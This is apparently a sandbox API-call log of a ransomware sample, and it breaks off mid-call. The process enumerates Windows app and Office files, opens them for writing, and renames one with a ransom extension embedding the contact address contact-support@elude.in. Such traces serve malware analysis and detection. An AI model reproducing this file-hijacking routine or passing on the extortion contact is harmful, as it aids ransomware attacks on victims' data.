[0243.177] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Icon_Quality.png", len=0x71 | out: pbstr=0x2ffff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Icon_Quality.png") returned 1 [0243.177] GetProcessHeap () returned 0x630000 [0243.177] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5314) returned 0x6fe3bb0 [0243.178] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Icon_Quality.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\workflow\\icon_quality.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.178] Sleep (dwMilliseconds=0x1) [0243.204] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Square150x150Logo.scale-100.png", len=0x95 | out: pbstr=0x2ffff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Square150x150Logo.scale-100.png") returned 1 [0243.204] GetProcessHeap () returned 0x630000 [0243.204] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5294) returned 0x6fe3bb0 [0243.204] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Square150x150Logo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\contrast-white\\square150x150logo.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.215] Sleep (dwMilliseconds=0x1) [0243.237] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Square44x44Logo.targetsize-16.png", len=0x97 | out: pbstr=0x2ffff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Square44x44Logo.targetsize-16.png") returned 1 [0243.237] GetProcessHeap () returned 0x630000 [0243.237] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5258) returned 0x6fe3bb0 [0243.237] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Square44x44Logo.targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\contrast-black\\square44x44logo.targetsize-16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.240] Sleep (dwMilliseconds=0x1) [0243.266] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Sun_icon.png", len=0x72 | out: pbstr=0x2ffff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Sun_icon.png") returned 1 [0243.266] GetProcessHeap () returned 0x630000 [0243.266] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51ec) returned 0x6fe3bb0 [0243.267] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Sun_icon.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\embossbitmaps\\sun_icon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.271] Sleep (dwMilliseconds=0x1) [0243.291] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Moon.png", len=0x6e | out: pbstr=0x2ffff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Moon.png") returned 1 [0243.291] GetProcessHeap () returned 0x630000 [0243.291] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51a4) returned 0x6fe3bb0 [0243.291] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Moon.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\embossbitmaps\\moon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.299] Sleep (dwMilliseconds=0x1) [0243.301] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Double Wave_icon.png", len=0x7a | out: pbstr=0x2ffff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Double Wave_icon.png") returned 1 [0243.301] GetProcessHeap () returned 0x630000 [0243.301] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5190) returned 0x6fe3bb0 [0243.302] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Double Wave_icon.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\embossbitmaps\\double wave_icon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.316] Sleep (dwMilliseconds=0x1) [0243.343] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-150.png", len=0x6e | out: pbstr=0x2ffff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-150.png") returned 1 [0243.343] GetProcessHeap () returned 0x630000 [0243.343] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5104) returned 0x6fe3bb0 [0243.343] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-150.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twittersmalltile.scale-150.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.343] Sleep (dwMilliseconds=0x1) [0243.348] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-100_contrast-white.png", len=0x7d | out: pbstr=0x2ffff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-100_contrast-white.png") returned 1 [0243.348] GetProcessHeap () returned 0x630000 [0243.348] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50f4) returned 0x6fe3bb0 [0243.349] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twittersmalltile.scale-100_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.349] Sleep (dwMilliseconds=0x1) [0243.368] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-125_contrast-white.png", len=0x81 | out: pbstr=0x2ffff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-125_contrast-white.png") returned 1 [0243.368] GetProcessHeap () returned 0x630000 [0243.368] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5088) returned 0x6fe3bb0 [0243.368] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-125_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterlistsmalltile.scale-125_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.368] Sleep (dwMilliseconds=0x1) [0243.393] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-400_contrast-black.png", len=0x7d | out: pbstr=0x2ffff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-400_contrast-black.png") returned 1 [0243.393] GetProcessHeap () returned 0x630000 [0243.393] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x506c) returned 0x6fe3bb0 [0243.393] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-400_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterlargetile.scale-400_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.393] Sleep (dwMilliseconds=0x1) [0244.260] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_LogoSmall.targetsize-24.png", len=0x7d | out: pbstr=0x2ffff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_LogoSmall.targetsize-24.png") returned 1 [0244.260] GetProcessHeap () returned 0x630000 [0244.260] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f44) returned 0x6fe3bb0 [0244.260] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_LogoSmall.targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\news_logosmall.targetsize-24.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.261] Sleep (dwMilliseconds=0x1) [0244.289] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\News_LogoSmall.targetsize-256.png", len=0x8d | out: pbstr=0x2ffff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\News_LogoSmall.targetsize-256.png") returned 1 [0244.289] GetProcessHeap () returned 0x630000 [0244.289] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ef4) returned 0x6fe3bb0 [0244.290] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\News_LogoSmall.targetsize-256.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\news_logosmall.targetsize-256.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.291] Sleep (dwMilliseconds=0x1) [0246.349] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Sports_TileLargeSquare.scale-100.png", len=0x92 | out: pbstr=0x2ffff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Sports_TileLargeSquare.scale-100.png") returned 1 [0246.349] GetProcessHeap () returned 0x630000 [0246.349] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ea8) returned 0x6fe3bb0 [0246.350] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Sports_TileLargeSquare.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\sports_tilelargesquare.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.353] Sleep (dwMilliseconds=0x1) [0246.355] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Sports_SplashScreen.scale-100.png", len=0x8f | out: pbstr=0x2ffff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Sports_SplashScreen.scale-100.png") returned 1 [0246.355] GetProcessHeap () returned 0x630000 [0246.355] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ea4) returned 0x6fe3bb0 [0246.355] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Sports_SplashScreen.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\sports_splashscreen.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.358] Sleep (dwMilliseconds=0x1) [0246.374] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxSignature.p7x", len=0x60 | out: pbstr=0x2ffff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxSignature.p7x") returned 1 [0246.374] GetProcessHeap () returned 0x630000 [0246.374] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e88) returned 0x6fe3bb0 [0246.374] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.376] Sleep (dwMilliseconds=0x1) [0246.394] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", len=0x6d | out: pbstr=0x2ffff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat") returned 1 [0246.394] GetProcessHeap () returned 0x630000 [0246.394] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e84) returned 0x6fe3bb0 [0246.394] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.394] Sleep (dwMilliseconds=0x1) [0246.403] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\0.rsrc", len=0x5e | out: pbstr=0x2ffff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\0.rsrc") returned 1 [0246.403] GetProcessHeap () returned 0x630000 [0246.404] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e68) returned 0x6fe3bb0 [0246.404] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\0.rsrc" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\_resources\\0.rsrc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.404] Sleep (dwMilliseconds=0x1) [0246.419] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\PlatformConfiguration.xml", len=0x66 | out: pbstr=0x2ffff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\PlatformConfiguration.xml") returned 1 [0246.419] GetProcessHeap () returned 0x630000 [0246.419] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e5c) returned 0x6fe3bb0 [0246.419] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\PlatformConfiguration.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\platformconfiguration.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.419] Sleep (dwMilliseconds=0x1) [0246.433] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MicrosoftAdvertising.ini", len=0x65 | out: pbstr=0x2ffff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MicrosoftAdvertising.ini") returned 1 [0246.434] GetProcessHeap () returned 0x630000 [0246.434] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e50) returned 0x6fe3bb0 [0246.434] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MicrosoftAdvertising.ini" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\microsoftadvertising.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.434] Sleep (dwMilliseconds=0x1) [0246.485] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\News\\News.xml", len=0x8c | out: pbstr=0x2ffff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\News\\News.xml") returned 1 [0246.485] GetProcessHeap () returned 0x630000 [0246.485] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e3c) returned 0x6fe3bb0 [0246.485] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\News\\News.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.services\\personalization\\datamodels\\news\\news.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.486] Sleep (dwMilliseconds=0x1) [0246.496] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\FoodAndDrink\\FoodAndDrink.xml", len=0x9c | out: pbstr=0x2ffff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\FoodAndDrink\\FoodAndDrink.xml") returned 1 [0246.496] GetProcessHeap () returned 0x630000 [0246.496] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e34) returned 0x6fe3bb0 [0246.496] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\FoodAndDrink\\FoodAndDrink.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.services\\personalization\\datamodels\\foodanddrink\\foodanddrink.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.505] Sleep (dwMilliseconds=0x1) [0246.558] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", len=0x67 | out: pbstr=0x2ffff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX") returned 1 [0246.558] GetProcessHeap () returned 0x630000 [0246.558] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e24) returned 0x6fe3bb0 [0246.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\translat\\msb1cach.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0246.559] CloseHandle (hObject=0x710) returned 1 [0246.559] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0246.559] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\translat\\msb1cach.lex"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\translat\\msb1cach.lex.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0246.560] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0246.560] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffc6c | out: lpFindFileData=0x2fffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27cace65, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x740063, dwReserved1=0x73002d, cFileName="MSB1CACH.LEX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSB1CA~1.FIR")) returned 0x6d5340 [0246.560] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0246.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 